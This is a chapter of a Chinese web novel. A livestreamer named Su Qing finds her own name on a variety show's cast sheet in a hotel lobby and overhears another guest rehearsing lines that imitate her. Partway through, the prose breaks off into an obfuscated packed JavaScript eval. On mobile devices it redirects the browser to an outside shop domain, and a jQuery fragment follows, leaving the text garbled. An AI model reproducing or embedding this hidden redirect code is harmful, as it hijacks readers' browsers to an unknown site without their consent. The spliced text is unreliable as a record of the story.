金槟色的大理石光斑如镜,接待台后那三十米的水墨连廊画从左到右看不到尽头。
没有要停下的节奏,持续的轰隆隆滚轮声回荡在整个大厅。
“左边左边左边,别卡轮子,顺滑一点推了大哥!”一个身穿花色海岛衬衫,头上裹着蓝黑色格纹方巾的服装导演拿着对讲机朝电梯口正推着两个大箱式货轮柜的场工一顿指挥。
货轮柜有一面是透明玻璃,那一面正好对着苏晴,打眼看过去,里边陈列着不下几十件各种花色的女士连衣裙,大多具备这边的海岛特色,但立挺别致的版型设计又和街边小店那些卖的游客款完全不一样。
旋转门走进来一个看着一米八相当结实的黑皮摄影师,肩头扛着有他半人高的三脚架,左手垂拎着铅块似的摄像机,大喘吁吁:“导演,货车拉过来的时候把三个备用镜头都碰坏了,就是长焦的那个。”
“什么,碰坏了?你怎么不把你脑袋碰坏?一个镜头多贵你是不知道?”摄影导演马上从前端的指挥机位骂骂咧咧地赶过来,仔细检查剩下的几台设备。
再往前走一些,是平常酒店订餐区的位置,现在那边的两条方形桌子已经摆满了外送的盒饭,十份饭盒为一摞,系着密封袋,上面贴着字条“宵夜订餐,服装组十五份”。
……
一楼酒店的热闹劲儿与刻板印象里所有人西装革履、脚步匆匆的商务酒店完全相反。
苏晴手里的直播镜头还在不停记录着现场的画面,只不过由于人数过多,现场又嘈杂,说话声音此起彼伏,镜头也没有记录出任何有效信息。
“您好女士,”接待台后走上前一位年轻经理,面带微笑,侧身用手指了指挂在厅堂侧门边的一块黄铜制的提示牌,“酒店出于对客人隐私的保护,前台大厅不允许拍摄,如果您有摄影需求,可以移步至休息区。”
说着也给她指了指休息区的方向。
“不好意思,我没注意这个提醒,现在马上关掉。”苏晴脸上带着歉意,立刻翻手扣住手机,切出直播画面。
前台经理对她的配合表示感谢,转身递上一瓶酒店定制的矿泉水。
把手机放进随身背着的小包,苏晴转身朝旋转门走去。
正准备踏出酒店,忽然从侧门的风口吹进来一阵带着草木清味的海风。
她的裙摆轻飘飘的,随风荡起。
一张不知道从哪个货箱里掉出来的A4纸片像乘着这股清风,在空中翻腾了两圈,从大堂西侧飘落到东侧,再到苏晴脚边。
纸面朝上,边角微微翘起。
蹲下去,捡起那张纸。
是一张彩印的资料,演职人员表。表中具体信息不多,表下方的演职经历也就草草一行。
“直播出身,无综艺经验。”
在往上看,华市本地人,年龄二十三,性别女,角色设定综艺嘉宾女一号。
姓名:苏晴。
视线聚焦到这两个熟悉的不能再熟悉的字眼,苏晴?
身体定住两秒。
脑海里冒出一个念头:为什么上面会有她的名字?为什么她的信息会在这里?
所以这场综艺拍摄地点是在这里?但是目前为止苏晴收到的唯一一条关于这档节目的信息也就只有之前的开工消息,她没有办法做确定的猜测。
怎么没有人跟她说过任何关于这档节目的内容。
一阵急匆匆的脚步声从苏晴的耳后传来。
“对不起——”
听这声音大概是还在上大学的年纪。
果真一个脖子挂着实习导演工牌,身上黑色宽松T恤被薄汗浸湿,手上抓着一大把零零散散同样大小文件纸的年轻男孩跑过来。
“不好意思,刚刚风太大,资料到处飞——”对方喘着粗气,一副到处搜罗四处飘散的文件很久了的样子,弓着腰半句话半句话地往外蹦。
苏晴还没有完全回过神,对方就已经小心翼翼地伸出手,想要接过那张纸。
“那个……这个给我就好……”
才只是稍稍用了些许力气,纸张就如同飘落般回到对方手里。
年轻男孩连声道谢,将自己手中的一叠材料再笼统地整了整方向,往后退去。
她还没弄明白。
风又吹了过来,来的方向好像是那个北面的窗口。
窗外,带着片墨色叶子的棕竹树枝顶正好够在窗边。
风吹过,叶子摩挲发出细沙的响声,它的叶片很长,像是一把裂开的蒲扇,在月光的照耀下,上下摆动的形状像是在向苏晴招手。
迈出步伐。
面前是电梯厅,因为剧组的使用,八台客梯门全部固定敞开,用要挪动的箱式道具堵住本该随时合并的客梯门,上面印着“易碎,请朝上放置”。
总之,这里没法通行。
余光朝左边,那里有宽敞的楼梯口,暂时还没有被工作人员们占领。
苏晴脚尖朝左走去,稍用了些力气推开那扇防火门。
“吱呀”的声音从门扇合页的深处传来。
门后的体感气温比厅堂里还要再凉几个度,她身上起了阵鸡皮疙瘩。尽管这里不常有人走动,但卫生还是做得一尘不染。
咔,一声高分贝的钝响。防火门因为惯性自动合上,特殊的门板材质让整个楼道一下成为密闭空间。
外面人流的嘈杂声、上上下下货物的搬运声、对讲机偶尔电流不通发出的噪音声……一下全被隔绝在外。
苏晴站在台阶上,循着头顶螺旋向上的光带影子,往上走。
到二楼平台的最后一个台阶,一道音调较高的女声吸引住她。
穿过走廊,往声源走去。
一位穿着白色连衣裙扎着高丸子头的女生,对着贴好排练室门牌的房间镜子。
苏晴看着她不断前后摆动自己的身体方向,支在半空中的手臂、眼睛、眉毛还有嘴角,都再反复调整角度,试图找出那个最友好最和善的动作。
是这次同组的女嘉宾,杨玟棠。
杨玟棠清了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17866188|212204||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
清喉咙,微微回细自己的声带,这样子声音听起来会更甜美些。嘴角弯出弧度,露出八颗牙齿,眼睛笑得眯成了一条缝,“小晴,你明天早上有空吗?”
不行,这个表情太假,所有动作里都是谄媚,显得不真诚。
观察镜中的自己,思考了一阵,将手握成拳头给自己腮帮子用力揉了两拳,再做了一套口部健身操,舒展舒展肩背,让自己放松下来。
“要记住,这个时候苏晴跟我自己还没那么熟,现阶段只能用普通朋友的热情程度。”杨玟棠对镜中的自己说道。
调整了状态,肩膀放松,眼睛要笑出一些卧蚕,不要闭成一条缝,打开大概三分之二的眼球的大小,“小晴,我发现了一家特别好玩的手工店,明天有没有空,我们要不要一起去呢?”
这边语气自然又热络,她很满意。
说完又在背过身去学着资料中显示苏晴大概的性格特征,那就是软软淡淡的回复:“手工艺品吗?但是我不是很擅长做手工。”
周墨给大家发的资料里说,苏晴并不爱做手工艺,她觉得做这个大概有些耗时间又磨性子,相较这个,更爱去多尝几道美食,多看几片风景。
杨玟棠又马上转过身去切回自己的角色,“那家手工店非常出名的,而且离我们酒店很近,就在环海路的一家椰雕工作室,是那种可以把椰子壳按照自己的喜好做成各种手工饰品,比如说挂坠、项链、钥匙扣……老师们会给好图纸,我们只要照着去雕刻就行,手残党都可以完成。”
在侧身,切换到苏晴:“我想想吧,晚点再跟你说。”
说完又表示这句台词不对,苏晴一般拒绝就是拒绝了,不会再讲些这种含含糊糊、模棱两可的话。
女孩又低头看向自己手里的剧本,反复用各种音调说苏晴的名字。
“小晴要不要一起去?小晴想去吗……苏晴这个活动怎么样呢?”
站在门外的苏晴这才真切意识到,原来女孩嘴里排练说的角色名一直都是她自己,是苏晴本人。
所模仿的语气也都是符合苏晴的人物性格。
每个语气、语调、用词像是有把她这个人逐帧分析过一样。
苏晴深吸一口气,后背发凉,脚步无意识的往后退,原本扶着门框的手更往紧地攥。
不仅仅是一种被窥视被深度剖析的恐惧,更多是一种对自身处境的怀疑,她是来参加节目的,可为什么感觉自己更像是剧本的一环。
就在这时,感受到一丝暖意的包裹,周墨的手掌覆在她的肩头上,“怎么样?看多久了?”
熟悉的声音,是周墨。
如同溺水者抓住了浮在水面上的浮萍。
他站在她的身后,逆着光,眼底带着笑,和出门时一样的装扮,身上同样有着她熟悉的气味,是哺乳动物本能寻找熟悉气源的求生本能,苏晴现在需要他。
“为什么我不认识她?但是她一直在反复念着我的名字。”
“你不认识她,但可能她很想认识你。”